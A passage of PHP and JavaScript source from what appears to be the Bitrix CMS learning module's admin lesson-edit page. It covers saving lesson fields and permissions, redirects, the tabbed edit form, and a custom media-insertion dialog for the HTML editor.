			$arDETAIL_PICTURE["MODULE_ID"] = "learning";
			$arDETAIL_PICTURE["description"] = ${"DETAIL_PICTURE_descr"};

			// If we are in context of parent lesson => there is edge params
			if (isset($g_learn_parentLessonId))
			{
				$arEdgeProperties = array(
					'SORT' => $_POST['EDGE_SORT']
					);
			}

			$arFields = Array(
				"ACTIVE" => ( ($ACTIVE !== 'Y') ? 'N' : 'Y'),
				"NAME" => $NAME,
				"KEYWORDS" => $KEYWORDS,
				"CODE" => $CODE,

				"DETAIL_PICTURE" => $arDETAIL_PICTURE,
				"DETAIL_TEXT" => $DETAIL_TEXT,
				"DETAIL_TEXT_TYPE" => $DETAIL_TEXT_TYPE,

				"PREVIEW_PICTURE" => $arPREVIEW_PICTURE,
				"PREVIEW_TEXT" => $PREVIEW_TEXT,
				"PREVIEW_TEXT_TYPE" => $PREVIEW_TEXT_TYPE
			);

			if ($CONTENT_SOURCE == "file")
			{
				$arFields["DETAIL_TEXT_TYPE"] = "file";
				$arFields["LAUNCH"] = $LAUNCH;
			}

			$USER_FIELD_MANAGER->EditFormAddFields('LEARNING_LESSONS', $arFields);

			$res = true;
			try
			{
				if ($LESSON_ID > 0)
				{
					$res = CLearnLesson::Update($LESSON_ID, $arFields);

					// If we are in context of parent lesson => update edges properties
					if ($res && isset($g_learn_parentLessonId) && $g_learn_parentLessonId > 0)
					{
						CLearnLesson::RelationUpdate (
							$g_learn_parentLessonId, 
							$LESSON_ID, 
							$arEdgeProperties);
					}
				}
				else
				{
					// If we are in context of parent lesson => create linked lesson
					if (isset($g_learn_parentLessonId) && $g_learn_parentLessonId > 0)
					{
						$arNewEdgeProperties = array('SORT' => 500);
						if (isset($arEdgeProperties['SORT']))
							$arNewEdgeProperties['SORT'] = $arEdgeProperties['SORT'];

						$LESSON_ID = CLearnLesson::Add(
							$arFields, 
							false,		// is course?
							$g_learn_parentLessonId,
							$arNewEdgeProperties);
					}
					else
					{
						$LESSON_ID = CLearnLesson::Add($arFields);
					}

					$res = ($LESSON_ID > 0);
				}

				// PUBLISH_PROHIBITED available in context of most parent course only
				if ( ($LESSON_ID > 0) && ($topCourseLessonId !== false) )
				{
					$isProhibited = false;

					if ($_POST['PUBLISH_PROHIBITED'] === 'Y')
						$isProhibited = true;

					CLearnLesson::PublishProhibitionSetTo(
						$LESSON_ID, $topCourseLessonId, $isProhibited);
				}

			}
			catch (Exception $e)
			{
				$res = false;
			}

			if(!$res)
			{
				if($e = $APPLICATION->GetException())
					$message = new CAdminMessage(GetMessage("LEARNING_ERROR"), $e);
				else
					$message = new CAdminMessage(GetMessage("LEARNING_ERROR"));

				$bVarsFromForm = true;
				$was_errors = true;
			}
		}
		else
		{
			if($e = $APPLICATION->GetException())
				$message = new CAdminMessage(GetMessage("LEARNING_ERROR") . ': ' . GetMessage('LEARNING_ACCESS_D_FOR_EDIT_CONTENT'), $e);
			else
				$message = new CAdminMessage(GetMessage("LEARNING_ERROR") . ': ' . GetMessage('LEARNING_ACCESS_D_FOR_EDIT_CONTENT'));

			$bVarsFromForm = true;

			$res = false;
			$was_errors = true;
		}
	}

	// Block 2: relations (there is will be silently ignoring on insuficient permissions)
	// Process relations, data submitted from CLearnRelationHelper::RenderForm()
	if ( 
		( ! $createNewLesson ) 
		&& ($LESSON_ID > 0) 
		&& ( ! isset($_REQUEST['SKIP_RELATIONS_SAVING']) )
	)
	{
		$sort = false;	// default sort order will be used for new edges
		if (isset($_POST['EDGE_SORT']) && ($_POST['EDGE_SORT'] > 0))
			$sort = (int) $_POST['EDGE_SORT'];
		CLearnRelationHelper::ProccessPOST($oAccess, $LESSON_ID, $sort);
	}

	// Block 3: permissions
	if (
		array_key_exists('LESSON_RIGHTS_marker', $_POST) 
		&& ($LESSON_ID > 0)
		&& ( ! isset($_REQUEST['SKIP_RIGHTS_SAVING']) )
	)
	{
		$res = true;
		try
		{
			// Work with permissions
			if ($oAccess->IsLessonAccessible ($LESSON_ID, CLearnAccess::OP_LESSON_MANAGE_RIGHTS))
			{
				// Process permissions
				$arPostedRights = array();
				if (is_array($_POST['LESSON_RIGHTS']))
					$arPostedRights = $_POST['LESSON_RIGHTS'];

				$arAccessSymbols = array();
				$arTaskIds = array();
				foreach ($arPostedRights as $key => $arData)
				{
					if (isset($arData['GROUP_CODE']))
						$arAccessSymbols[] = $arData['GROUP_CODE'];
					elseif (isset($arData['TASK_ID']))
						$arTaskIds[] = $arData['TASK_ID'];
				}
				if (count($arAccessSymbols) !== count($arTaskIds))
					throw new LearnException('', LearnException::EXC_ERR_ALL_LOGIC | LearnException::EXC_ERR_ALL_GIVEUP);

				$arPermPairs = array();
				if (count($arAccessSymbols) > 0)
					$arPermPairs = array_combine($arAccessSymbols, $arTaskIds);

				if ($arPermPairs === false)
					$arPermPairs = array();

				// Save permissions
				$oAccess->SetLessonsPermissions (array($LESSON_ID => $arPermPairs));
			}
			else
			{
				if($e = $APPLICATION->GetException())
					$message = new CAdminMessage(GetMessage("LEARNING_ERROR") . ': ' . GetMessage('LEARNING_ACCESS_D_FOR_MANAGE_RIGHTS'), $e);
				else
					$message = new CAdminMessage(GetMessage("LEARNING_ERROR") . ': ' . GetMessage('LEARNING_ACCESS_D_FOR_MANAGE_RIGHTS'));

				$bVarsFromForm = true;

				$res = false;
				$was_errors = true;
			}
		}
		catch (Exception $e)
		{
			$res = false;
			$was_errors = true;
		}
	}

	if ( ! $was_errors )
	{

		$currentLessonPath = "";
		if (isset($g_learn_currentLessonPath))
		{
			$currentLessonPath = $g_learn_currentLessonPath.($createNewLesson && $LESSON_ID > 0 ? ".".$LESSON_ID : "");
		}

		if (strlen($apply) <= 0)
		{
			if (strlen($return_url) > 0)
			{
				LocalRedirect(
					str_replace(
						array("#LESSON_ID#", "#LESSON_PATH#"),
						array($LESSON_ID, $currentLessonPath),
						$return_url
					)
				);
			}
			else
			{
				$uriParentLessonPath = "";
				if (!$createNewLesson && isset($g_learn_parentLessonPath))
				{
					$uriParentLessonPath = '&LESSON_PATH=' . urlencode($g_learn_parentLessonPath);
				}
				elseif (isset($g_learn_currentLessonPath))
				{
					$uriParentLessonPath = '&LESSON_PATH=' . urlencode($g_learn_currentLessonPath);
				}

				LocalRedirect(
					"/bitrix/admin/learn_unilesson_admin.php?lang=".LANG.
					"&PARENT_LESSON_ID=".intval(isset($g_learn_parentLessonId) ? $g_learn_parentLessonId : 0).
					$uriParentLessonPath.
					GetFilterParams("filter_", false, array())
				);
			}
		}

		LocalRedirect("/bitrix/admin/learn_unilesson_edit.php?lang=" . LANG 
			. "&LESSON_ID=" . ($LESSON_ID + 0)
			. "&LESSON_PATH=". urlencode($currentLessonPath)
			. "&lessonTabControl_active_tab=" . urlencode($_REQUEST['lessonTabControl_active_tab'])
			. GetFilterParams("filter_", false));
	}
}

$bBadCourse = false;

$isBtnsDisabled = true;

if (($LESSON_ID > 0) && $oAccess->IsLessonAccessible ($LESSON_ID, CLearnAccess::OP_LESSON_WRITE))
{
	$isBtnsDisabled = false;
}
elseif ($LESSON_ID == 0)
{
	if (isset($g_learn_parentLessonId) && $g_learn_parentLessonId > 0)
	{

		if ($oAccess->IsBaseAccess(CLearnAccess::OP_LESSON_LINK_DESCENDANTS | CLearnAccess::OP_LESSON_LINK_TO_PARENTS)
		|| (
			$oAccess->IsLessonAccessible($g_learn_parentLessonId, CLearnAccess::OP_LESSON_LINK_DESCENDANTS)
			&& $oAccess->IsBaseAccessForCR(CLearnAccess::OP_LESSON_LINK_TO_PARENTS)
		))
		{
			$isBtnsDisabled = false;
		}
	}
	else
	{
		if ($oAccess->IsBaseAccess (CLearnAccess::OP_LESSON_CREATE))
		{
			$isBtnsDisabled = false;
		}
	}
}
elseif ( ($LESSON_ID > 0) && CLearnAccessMacroses::CanUserEditLessonRights (array('lesson_id' => $LESSON_ID)) )
{
	$isBtnsDisabled = false;
}
elseif ( ($LESSON_ID > 0) && CLearnAccessMacroses::CanUserPerformAtLeastOneRelationAction (array('lesson_id' => $LESSON_ID)) )
{
	$isBtnsDisabled = false;
}

if (($LESSON_ID > 0) && $oAccess->IsLessonAccessible ($LESSON_ID, CLearnAccess::OP_LESSON_READ))
	$APPLICATION->SetTitle(GetMessage("LEARNING_LESSONS").": ".GetMessage("LEARNING_EDIT_TITLE"));
elseif (($LESSON_ID == 0) && $oAccess->IsBaseAccess(CLearnAccess::OP_LESSON_CREATE))
	$APPLICATION->SetTitle(GetMessage('LEARNING_LESSONS').": ".GetMessage("LEARNING_NEW_TITLE"));
else
	$bBadCourse = true;

//Defaults
$str_ACTIVE      = "Y";
$str_DETAIL_TEXT_TYPE = $str_PREVIEW_TEXT_TYPE = "text";
$str_EDGE_SORT   = '500';
$str_PUBLISH_PROHIBITED = 'N';

// Are we in context of parent lesson?
$result = false;
if (isset($g_learn_parentLessonId))
{
	$str_PARENT_LESSON_ID = $g_learn_parentLessonId;

	if ($LESSON_ID > 0)
	{
		// Get lesson data as immediate child of parent lesson. 
		// It needs for getting edges data (SORT).
		$result = CLearnLesson::GetListOfImmediateChilds(
			$str_PARENT_LESSON_ID, 			// parent of current lesson
			array(), 						// sort order
			array('LESSON_ID' => $LESSON_ID));		// get data for current lesson only
	}
}
else
{
	if (isset($str_PARENT_LESSON_ID))
		unset ($str_PARENT_LESSON_ID);

	if ($LESSON_ID > 0)
		$result = CLearnLesson::GetByID($LESSON_ID);
}
// Now $str_PARENT_LESSON_ID exists only if in GET and/or POST request was PARENT_LESSON_ID

if (($topCourseLessonId !== false) && ($LESSON_ID > 0))
{
	if (CLearnLesson::IsPublishProhibited($LESSON_ID, $topCourseLessonId))
		$str_PUBLISH_PROHIBITED = 'Y';
}

if( ! ($result && $result->ExtractFields("str_")) )
	$LESSON_ID = 0;

if ($bVarsFromForm)
{
	$ACTIVE = ($ACTIVE != "Y"? "N":"Y");
	
	/**
	 * Resolving dependencies for new data structure
	 * was:
	 * $DB->InitTableVarsForEdit("b_learn_lesson", "", "str_");
	 */
	$arVarsOnForm = array (
		'TIMESTAMP_X', 'ACTIVE', 'CODE', 'NAME', 'KEYWORDS', 
		'PREVIEW_TEXT', 'PREVIEW_TEXT_TYPE',
		'DETAIL_TEXT', 'DETAIL_TEXT_TYPE',
		'LAUNCH');

	// Only in context of parent lesson
	if (isset($str_PARENT_LESSON_ID))
	{
		$arVarsOnForm[] = 'EDGE_SORT';
	}

	// Only in context of most top course
	if ($topCourseLessonId !== false)
		$arVarsOnForm[] = 'PUBLISH_PROHIBITED';

	foreach ($arVarsOnForm as $k => $varName)
	{
		if (!is_array(${$varName}))
			${'str_' . $varName} = htmlspecialcharsbx(${$varName});
		else
		{
			$tmp = array();
			foreach (${$varName} as $key => $value)
				$tmp[$key] = htmlspecialcharsbx($value);

			${'str_' . $varName} = $tmp;
			unset ($tmp);
		}
	}
}

$aTabs = array(
	array(
		"DIV" => "edit1",
		"ICON"=>"main_user_edit",
		"TAB" => GetMessage("LEARNING_EDIT_PARAM_SECTION"),
		"TITLE"=>GetMessage("LEARNING_EDIT_PARAM_SECTION")
	),

	array(
		"DIV" => "edit2",
		"ICON"=>"main_user_edit",
		"TAB" => GetMessage("LEARNING_ADMIN_TAB2"),
		"TITLE"=>GetMessage("LEARNING_ADMIN_TAB2_EX")
	),

	array(
		"DIV" => "edit3",
		"ICON"=>"main_user_edit",
		"TAB" => GetMessage("LEARNING_ADMIN_TAB3"),
		"TITLE"=>GetMessage("LEARNING_ADMIN_TAB3_EX")
	)
);

if (($LESSON_ID > 0) && CLearnAccessMacroses::CanUserViewLessonRelations (array('lesson_id' => $LESSON_ID)))
{
	$arOPathes = CLearnLesson::GetListOfParentPathes($LESSON_ID);

	$tabName = GetMessage("LEARNING_ADMIN_TAB4");

	$aTabs[] = array(
		"DIV" => "edit4",
		"ICON"=>"main_user_edit",
		"TAB" => $tabName,
		"TITLE"=>GetMessage("LEARNING_ADMIN_TAB4_EX")
	);
}

if (($LESSON_ID > 0) && CLearnAccessMacroses::CanUserViewLessonRights (array('lesson_id' => $LESSON_ID)))
{
	$aTabs[] = array(
		"DIV" => "edit5",
		"ICON"=>"main_user_edit",
		"TAB" => GetMessage("LEARNING_PERMISSIONS"),
		"TITLE"=>GetMessage("LEARNING_PERMISSIONS")
	);
}

$aTabs[] = $USER_FIELD_MANAGER->EditFormTab('LEARNING_LESSONS');

//$tabControl = new CAdminTabControl("lessonTabControl", $aTabs);
$tabControl = new CAdminForm("lessonTabControl", $aTabs);

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_after.php");

if ($message)
	echo $message->Show();

if (!$bBadCourse):

// Back to lessons list available only if there is parentLessonPath exists
if (isset($g_learn_parentLessonPath))
{
	$aContext = array(
		array(
			"ICON"  => "btn_list",
			"TEXT"  => GetMessage("MAIN_ADMIN_MENU_LIST"),
			"LINK"  => "learn_unilesson_admin.php?lang=" . LANG . "&LESSON_PATH=" . urlencode($g_learn_parentLessonPath) . GetFilterParams("filter_"),
			"TITLE" => GetMessage("MAIN_ADMIN_MENU_LIST")
		),
	);
}
else
{
	// To all lessons list
	$aContext = array(
		array(
			'ICON'  => 'btn_list',
			'TEXT'  => GetMessage('LEARNING_ALL_LESSONS'),
			'LINK'  => 'learn_unilesson_admin.php?lang=' . LANG 
				. '&set_filter=Y'
				. '&PARENT_LESSON_ID=-2',	// magic number '-2' is means 'List lessons, without relation to parent'
			'TITLE' => GetMessage('LEARNING_ALL_LESSONS')
			)
		);
}

if ($LESSON_ID > 0)
{
	$aContext[] = array(
		"ICON"  => "btn_delete",
		"TEXT"  => GetMessage("MAIN_ADMIN_MENU_DELETE"),
		"LINK"	=> "javascript:if(confirm('"
			. GetMessage("LEARNING_CONFIRM_DEL_MESSAGE")
			. "'))window.location='learn_unilesson_admin.php?lang=" . LANG 
			. "&action=delete&ID=" . $LESSON_ID 
			. ''
			. "&" . bitrix_sessid_get() 
			. urlencode(GetFilterParams("filter_", false)) . "';",
	);

	/*
	// If we are in context of parent lesson - we can unlink current lesson from parent
	if (isset($g_learn_parentLessonId))
	{
		$aContext[] = array(
			"ICON"  => "btn_delete",
			"TEXT"  => GetMessage("LEARNING_UNLINK_LESSON_FROM_PARENT"),
			"LINK"	=> "javascript:if(confirm('"
				. GetMessage("LEARNING_CONFIRM_UNLINK_LESSON_FROM_PARENT")
				. "'))window.location='learn_unilesson_admin.php?lang=" . LANG 
				. '&action=unlink'
				. '&ID=' . urlencode($g_learn_currentLessonPath)
				. "&" . bitrix_sessid_get() 
				. urlencode(GetFilterParams("filter_", false)) . "';",
		);
	}
	*/
}

$context = new CAdminContextMenu($aContext);
$context->Show();

if(COption::GetOptionString("learning", "use_htmledit", "Y")=="Y" && CModule::IncludeModule("fileman"))
{
	//TODO:This dirty hack will be replaced by special method like calendar do
	echo '<div style="display:none">';
	CFileMan::AddHTMLEditorFrame(
		"SOME_TEXT",
		"",
		"SOME_TEXT_TYPE",
		"text",
		array(
			'height' => 450,
			'width' => '100%'
		),
		"N",
		0,
		"",
		"",
		false
	);
	echo '</div>';
}
?>

<script type="text/javascript">
function toggleSource() {
	if (document.lessonTabControl_form.CONTENT_SOURCE[0].checked)
	{
		document.getElementById("source_field[0]").style.display = "";
		if (document.getElementById("source_field[1]"))
			document.getElementById("source_field[1]").style.display = "";
		document.getElementById("source_file").style.display = "none";
	}
	else
	{
		document.getElementById("source_field[0]").style.display = "none";
		if (document.getElementById("source_field[1]"))
			document.getElementById("source_field[1]").style.display = "none";
		document.getElementById("source_file").style.display = "";
	}
}
</script>
<?
CAdminFileDialog::ShowScript(Array
	(
		"event" => "OpenFileBrowserWindMedia",
		"arResultDest" => Array("FUNCTION_NAME" => "SetUrl"),
		"arPath" => Array("SITE" => $_GET["site"], "PATH" =>(strlen($str_FILENAME)>0 ? GetDirPath($str_FILENAME) : '')),
		"select" => 'F',// F - file only, D - folder only,
		"operation" => 'O',// O - open, S - save
		"showUploadTab" => true,
		"showAddToMenuTab" => false,
		"fileFilter" => 'wmv,flv,mp4,wma,mp3',//'' - don't shjow select, 'image' - only images; "ext1,ext2" - Only files with ext1 and ext2 extentions;
		"allowAllFiles" => true,
		"SaveConfig" => true
	)
);

?>
<?php
function CustomizeEditor()
{
	ob_start();
	?>
	<div class="bxed-dialog">
		<table class="bx-image-dialog-tbl">
			<tr>
				<td class="bx-par-title"><?echo GetMessage("LEARNING_PATH_TO_FILE")?>:</td>
				<td class="bx-par-val" colspan="3">
					<input type="text" size="30" id="mediaPath" />
					<input type="button" value="..." id="OpenFileBrowserWindMedia_button">
				</td>
			</tr>
			<tr>
				<td class="bx-par-title"><?echo GetMessage("LEARNING_WIDTH")?>:</td>
				<td width="80px"><input type="text" size="3" id="mediaWidth" /></td>
				<td><?echo GetMessage("LEARNING_HEIGHT")?>:</td>
				<td class="bx-par-val"><input type="text" size="3" id="mediaHeight" /></td>
			</tr>
		</table>
	</div>
<?php $dialogHTML = ob_get_clean()?>
<script type="text/javascript">
	var pEditor;
	var pElement;
	function SetUrl(filename, path, site)
	{
		if (path.substr(-1) == "/")
		{
			path = path.substr(0, path.length - 1);
		}
		var url = path+'/'+filename;
		BX("mediaPath").value = url;
		if(BX("mediaPath").onchange)
			BX("mediaPath").onchange();
	}
	function _mediaParser(_str, pMainObj)
	{
		// **** Parse WMV ****
		// b1, b3 - quotes
		// b2 - id of the div
		// b4 - javascript config
		var ReplaceWMV = function(str, b1, b2, b3, b4)
		{
			var
				id = b2,
				JSConfig, w, h, prPath;

			try {eval('JSConfig = ' + b4); } catch (e) { JSConfig = false; }
			if (!id || !JSConfig)
				return '';

			var w = (parseInt(JSConfig.width) || 50);
			var h = (parseInt(JSConfig.height) || 25);

			var arTagParams = {file: JSConfig.file};
			var bxTag =  pMainObj.GetBxTag(id);

			if (bxTag && bxTag && bxTag.tag == "media")
			{
				arTagParams.id = id;
			}
			return '<img  id="' + pMainObj.SetBxTag(false, {tag: 'media', params: arTagParams}) + '" src="/bitrix/images/1.gif" style="border: 1px solid rgb(182, 182, 184); background-color: rgb(226, 223, 218); background-image: url(/bitrix/images/learning/icons/media.gif); background-position: center center; background-repeat: no-repeat; width: '+w+'px; height: '+h+'px;" width="'+w+'" height="'+h+'" />';
		}
		_str = _str.replace(/<script.*?silverlight\.js.*?<\/script>\s*?<script.*?wmvplayer\.js.*?<\/script>\s*?<div.*?id\s*?=\s*?("|\')(.*?)\1.*?<\/div>\s*?<script.*?jeroenwijering\.Player\(document\.getElementById\(("|\')\2\3.*?wmvplayer\.xaml.*?({.*?})\).*?<\/script>/ig, ReplaceWMV);

		// **** Parse FLV ****
		var ReplaceFLV = function(str, attr)
		{
			attr = attr.replace(/[\r\n]+/ig, ' '); attr = attr.replace(/\s+/ig, ' '); attr = jsUtils.trim(attr);
			var
				arParams = {},
				arFlashvars = {},
				w, h, id, prPath;

			attr.replace(/([^\w]??)(\w+?)\s*=\s*("|\')([^\3]+?)\3/ig, function(s, b0, b1, b2, b3)
			{
				b1 = b1.toLowerCase();
				if (b1 == 'src' || b1 == 'type' || b1 == 'allowscriptaccess' || b1 == 'allowfullscreen' || b1 == 'pluginspage' || b1 == 'wmode')
					return '';
				arParams[b1] = b3; return b0;
			});
			id = arParams.id;

			if (!id || !arParams.flashvars)
				return str;

			arParams.flashvars.replace(/(\w+?)=((?:\s|\S)*?)&/ig, function(s, name, val) { arFlashvars[name] = val; return ''; });
			var w = (parseInt(arParams.width) || 50);
			var h = (parseInt(arParams.height) || 25);

			var arTagParams = {file: arFlashvars["file"]};
			var bxTag =  pMainObj.GetBxTag(id);

			if (bxTag && bxTag && bxTag.tag == "media")
			{
				arTagParams.id = id;
			}
			return '<img  id="' + pMainObj.SetBxTag(false, {tag: 'media', params: arTagParams}) + '" src="/bitrix/images/1.gif" style="border: 1px solid rgb(182, 182, 184); background-color: rgb(226, 223, 218); background-image: url(/bitrix/images/learning/icons/media.gif); background-position: center center; background-repeat: no-repeat; width: '+w+'px; height: '+h+'px;" width="'+w+'" height="'+h+'" />';
		}

		_str = _str.replace(/<object.*?>.*?<embed((?:\s|\S)*?player\/mediaplayer\/player\.swf(?:\s|\S)*?)(?:>\s*?<\/embed)?(?:\/?)?>.*?<\/object>/ig, ReplaceFLV);
		return _str;
	}
	arContentParsers.unshift(_mediaParser);

	function _mediaUnParser(_node, pMainObj)
	{
		bxTag = pMainObj.GetBxTag(_node.arAttributes["id"]);

		if (bxTag && bxTag.tag && bxTag.tag == "media")
		{
			var ext = bxTag.params.file.substr(bxTag.params.file.length - 3);
			var bWM = ext == "wmv" || ext == "wma";
			if (!bWM) // FL
			{
				var str = '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" ';
				str += 'id="' + _node.arAttributes["id"] + '" ';
				str += 'width="' + _node.arAttributes["width"] + '" ';
				str += 'height="' + _node.arAttributes["height"] + '" ';
				str += '>';
				str += '<param name="movie" value="/bitrix/components/bitrix/player/mediaplayer/player">';

				var embed = '<embed src="/bitrix/components/bitrix/player/mediaplayer/player" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" pluginspage="http:/' + '/www.macromedia.com/go/getflashplayer" ';
				embed += 'id="' + _node.arAttributes["id"] + '" ';

				var arParams = {
					"menu": "true",
					"wmode": "transparent",
					"width": _node.arAttributes["width"],
					"height": _node.arAttributes["height"],
					"flashvars" : {
						"file" : bxTag.params.file,
						"logo.hide" : "true",
						"skin": "/bitrix/components/bitrix/player/mediaplayer/skins/bitrix.swf",
						"repeat" : "N",
						"bufferlength" : "10",
						"dock" : "true"
					}
				}

				for (i in arParams)
				{
					if (i == 'flashvars')
					{
						embed += 'flashvars="';
						str += '<param name="flashvars" value="';
						for (k in arParams[i])
						{
							embed += k + '=' + arParams[i][k] + '&';
							str += k + '=' + arParams[i][k] + '&';
						}
						embed = embed.substring(0, embed.length - 1) + '" ';
						str = str.substring(0, str.length - 1) + '">';
					}
					else
					{
						embed += i + '="' + arParams[i] + '" ';
						str += '<param name="' + i +'" value="' + arParams[i] +'">';
					}
				}
				embed += '/>';
				str += embed +'</object>';
			}
			else // WM
			{
				str = '<script type="text/javascript" src="/bitrix/components/bitrix/player/wmvplayer/silverlight.js" /><\/script>' +
				'<script type="text/javascript" src="/bitrix/components/bitrix/player/wmvplayer/wmvplayer.js"><\/script>' +
				'<div id="' + _node.arAttributes["id"] + '">WMV Player</div>' +
				'<script type="text/javascript">new jeroenwijering.Player(document.getElementById("' + _node.arAttributes["id"] + '"), "/bitrix/components/bitrix/player/wmvplayer/wmvplayer.xaml", {';

				var arParams = {
					"file" : bxTag.params.file,
					"bufferlength" : "10",
					"width": _node.arAttributes["width"],
					"height": _node.arAttributes["height"],
					"windowless": "true"
				}

				for (i in arParams)
					str += i + ': "' + arParams[i] + '", ';
				str = str.substring(0, str.length - 2);

				str += '});<\/script>';
			}
			return str;
		}

		return false;
	}
	oBXEditorUtils.addUnParser(_mediaUnParser);

	var pSaveButton = new BX.CWindowButton({
		'title': '<?echo GetMessage("LEARNING_SAVE")?>',
		'action': function() {
			var path = BX('mediaPath').value;
			var width = BX('mediaWidth').value;
			var height = BX('mediaHeight').value;

			this.parentWindow.Close();
			if (path.length > 0 && parseInt(width) > 0 && parseInt(height) > 0)
			{
				if (pElement && pElement.getAttribute && pElement.getAttribute("id"))
				{
					var bxTag =  pEditor.GetBxTag(pElement.getAttribute("id"))
					if (bxTag && bxTag.tag && bxTag.tag == "media")
					{
						bxTag.params.file = path;
						SAttr(pElement, "width", width);
						SAttr(pElement, "height", height);
						pElement.style.width = width + "px";
						pElement.style.height = height + "px";
					}
				}
				else
				{
					var arParams = {file: path};
					pEditor.insertHTML('<img id="' + pEditor.SetBxTag(false, {tag: 'media', params: arParams}) + '" src="/bitrix/images/1.gif" style="border: 1px solid rgb(182, 182, 184); background-color: rgb(226, 223, 218); background-image: url(/bitrix/images/learning/icons/media.gif); background-position: center center; background-repeat: no-repeat; width: '+width+'px; height: '+height+'px;" width="'+width+'" height="'+height+'" />');
				}
			}
			pElement = null;
		}
	});
	var pDialog = new BX.CDialog({
			title : '<?echo GetMessage("LEARNING_VIDEO_AUDIO")?>',
			content: '<?php echo CUtil::JSEscape(preg_replace("~>\s+<~", "><",  trim($dialogHTML)))?>',
			height: 180,
			width: 520,
			resizable: false,
			buttons: [pSaveButton, BX.CDialog.btnClose]
		});
	var pMediaButton = [
		'BXButton',
		{
			id : 'media',
			src : '/bitrix/images/learning/icons/media.gif',
			name : "<?echo GetMessage("LEARNING_VIDEO_AUDIO")?>",
			handler : function () {
				pDialog.Show();
				pEditor = this.pMainObj;
				BX("OpenFileBrowserWindMedia_button").onclick = OpenFileBrowserWindMedia;

				pElement = pEditor.GetSelectionObject();
				if (pElement && pElement.getAttribute && pElement.getAttribute("id"))
				{
					var bxTag =  pEditor.GetBxTag(pElement.getAttribute("id"))
					if (bxTag && bxTag.tag && bxTag.tag == "media")
					{
						BX('mediaPath').value = bxTag.params.file;
						BX('mediaWidth').value = pElement.getAttribute("width");
						BX('mediaHeight').value = pElement.getAttribute("height");
					}
				}
				else
				{
					BX('mediaPath').value = "";
					BX('mediaWidth').value = "400";
					BX('mediaHeight').value = "300";
				}
			}
		}
	];
	if (window.lightMode)
	{
		for(var i = 0, l = arGlobalToolbar.length; i < l ; i++)
		{
			var arButton = arGlobalToolbar[i];
			if (arButton[1] && arButton[1].id == "insert_flash" && arGlobalToolbar[i+1][1].id != "media") {
				arGlobalToolbar.splice(i + 1, 0, pMediaButton);
				break;
			}
		}
	}
	else
	{
		oBXEditorUtils.appendButton("insert_media", pMediaButton, "standart");
	}
</script>
<?php }?>
<?php AddEventHandler("fileman", "OnIncludeHTMLEditorScript", "CustomizeEditor"); ?>

<?php 

$tabControl->BeginEpilogContent();?>
	<?=bitrix_sessid_post()?>
	<?echo GetFilterHiddens("filter_");?>
	<input type="hidden" name="Update" value="Y">
	<input type="hidden" name="from" value="<?echo htmlspecialcharsbx($from)?>">
	<input type="hidden" name="return_url" value="<?echo htmlspecialcharsbx($return_url)?>">
	<input type="hidden" name="LESSON_ID" value="<?php echo $LESSON_ID; ?>">

	<?php
	// PARENT_LESSON_ID transmitted only when new lesson creating pended and 
	if (($LESSON_ID == 0) && isset($g_learn_parentLessonId))
	{
		?>
		<input type="hidden" name="PARENT_LESSON_ID" value="<?php echo ($g_learn_parentLessonId + 0); ?>">
		<?php
	}

	if (isset($g_learn_currentLessonPath))
	{
		?>
		<input type="hidden" name="LESSON_PATH" value="<?php echo htmlspecialcharsbx($g_learn_currentLessonPath); ?>">
		<?php
	}

$tabControl->EndEpilogContent();

if ($LESSON_ID > 0)
	$bContentReadOnly = ! CLearnAccessMacroses::CanUserEditLesson (array('lesson_id' => $LESSON_ID));
else
	$bContentReadOnly = ! $oAccess->IsBaseAccess(CLearnAccess::OP_LESSON_CREATE);

$tabControl->Begin();
$tabControl->BeginNextFormTab();
?>
<!-- ID -->
<?php $tabControl->BeginCustomField("LESSON_ID", "ID", false);?>
	<?if($LESSON_ID > 0):?>
		<tr>
			<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
			<td><?=$str_LESSON_ID?></td>
		</tr>
	<? endif; ?>
<?php $tabControl->EndCustomField("LESSON_ID");?>

<!-- Timestamp_X -->
<?php $tabControl->BeginCustomField("TIMESTAMP_X", GetMessage("LEARNING_LAST_UPDATE"), false);?>
	<?if($LESSON_ID > 0):?>
		<tr>
			<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
			<td><?=$str_TIMESTAMP_X?></td>
		</tr>
	<? endif; ?>
<?php $tabControl->EndCustomField("TIMESTAMP_X");?>

<!-- Created by -->
<?php $tabControl->BeginCustomField("CREATED_BY", GetMessage("LEARNING_AUTHOR"), false);?>
	<?if($LESSON_ID > 0):?>
		<tr>
			<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
			<td>
				<?php 
				echo '[<a href="user_edit.php?ID=' . ($str_CREATED_BY + 0) 
					. '&amp;lang=' . LANG . '">' 
					. $str_CREATED_BY . '</a>] ' 
					. $str_CREATED_USER_NAME;
				?>
			</td>
		</tr>
	<? endif; ?>
<?php $tabControl->EndCustomField("CREATED_BY");?>

<!-- Active -->
<?php $tabControl->BeginCustomField("ACTIVE", GetMessage("LEARNING_ACTIVE"), false);?>
	<tr>
		<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
		<td><?php
			if ($bContentReadOnly)
			{
				if ($str_ACTIVE == 'Y')
					echo GetMessage('LEARNING_YES');
				else
					echo GetMessage('LEARNING_NO');
			}
			else
			{
				?><input type="checkbox" name="ACTIVE" value="Y"<?if($str_ACTIVE=="Y")echo " checked"?>><?php
			}
			?>
		</td>
	</tr>
<?php $tabControl->EndCustomField("ACTIVE", '<input type="hidden" id="ACTIVE" name="ACTIVE" value="' . $str_ACTIVE . '">');

$tabControl->BeginCustomField("NAME", GetMessage("LEARNING_NAME"), false);?>
	<tr class="adm-detail-required-field">
		<td><?echo $tabControl->GetCustomLabelHTML()?>:</td>
		<td valign="top">
			<?php
			if ($bContentReadOnly)
				echo $str_NAME;
			else
			{
				?>
				<input type="text" name="NAME" size="50" maxlength="255" value="<?echo $str_NAME?>">
				<?php
			}
			?>
		</td>
	</tr>
	<?php 
$tabControl->EndCustomField("NAME", '<input type="hidden" id="NAME" name="NAME" value="' . $str_NAME . '">');

$tabControl->BeginCustomField('CODE', GetMessage('LEARNING_CODE'), false);?>
<!-- CODE -->
	<tr>
		<td><? echo $tabControl->GetCustomLabelHTML()?>:</td>
		<td>
			<?php
			if ($bContentReadOnly)
				echo $str_CODE;
			else
			{
				?>
